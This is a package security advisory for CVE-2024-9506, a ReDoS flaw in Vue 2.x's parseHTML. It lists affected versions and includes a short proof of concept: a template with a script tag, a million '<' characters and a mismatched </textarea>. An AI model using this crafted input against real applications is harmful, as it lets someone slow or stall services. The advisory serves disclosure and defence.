Packages / vue / Security

LowVulnerabilityGHSA-5j4c-8p2g-v4jxCVE-2024-9506Published 15 Oct 2024

ReDoS vulnerability in vue package that is exploitable through inefficient regex evaluation in the parseHTML function

Affected releases · vue

  • 2.x2.0.0 – 2.7.16No fix on this line yet

2.x has no fix yet; the newest fixed line:

npm install vue@3.0.0-alpha.0
3.x
  1. Not affected

    3.0.0 – 3.5.44

    164 releases, latest

2.x
  1. Affected

    2.0.0 – 2.7.16

    92 releases

341 stable releases of vue, oldest to newest, one row per major.

Is your project affected?

Paste your package.json, or type the range you declare for vue. It is read in your browser and sent nowhere.

What happens

The ReDoS can be exploited through the parseHTML function in the html-parser.ts file. This flaw allows attackers to slow down the application by providing specially crafted input that causes inefficient processing of regular expressions, leading to excessive resource consumption.

To demonstrate this vulnerability, here's an example. In a Vue client-side application, create a new Vue instance with a template string that includes a <script> tag but closes it incorrectly with something like </textarea>.

new Vue({
  el: '#app',
  template: '
    <div>
      Hello, world!
      <script>${'<'.repeat(1000000)}</textarea>
    </div>'
});

Next, set up a basic HTML page (e.g., index.html) to load this JavaScript and mount the Vue instance:

<!DOCTYPE html>
<html>
<head>
  <title>My first Vue app</title>
</head>
<body>
  <div id=\"app\">Loading...</div>
</body>
</html>

When you visit the app in your browser at localhost, you'll notice that the time taken to parse and mount the Vue application increases significantly due to the ReDoS vulnerability, demonstrating how the flaw can affect performance.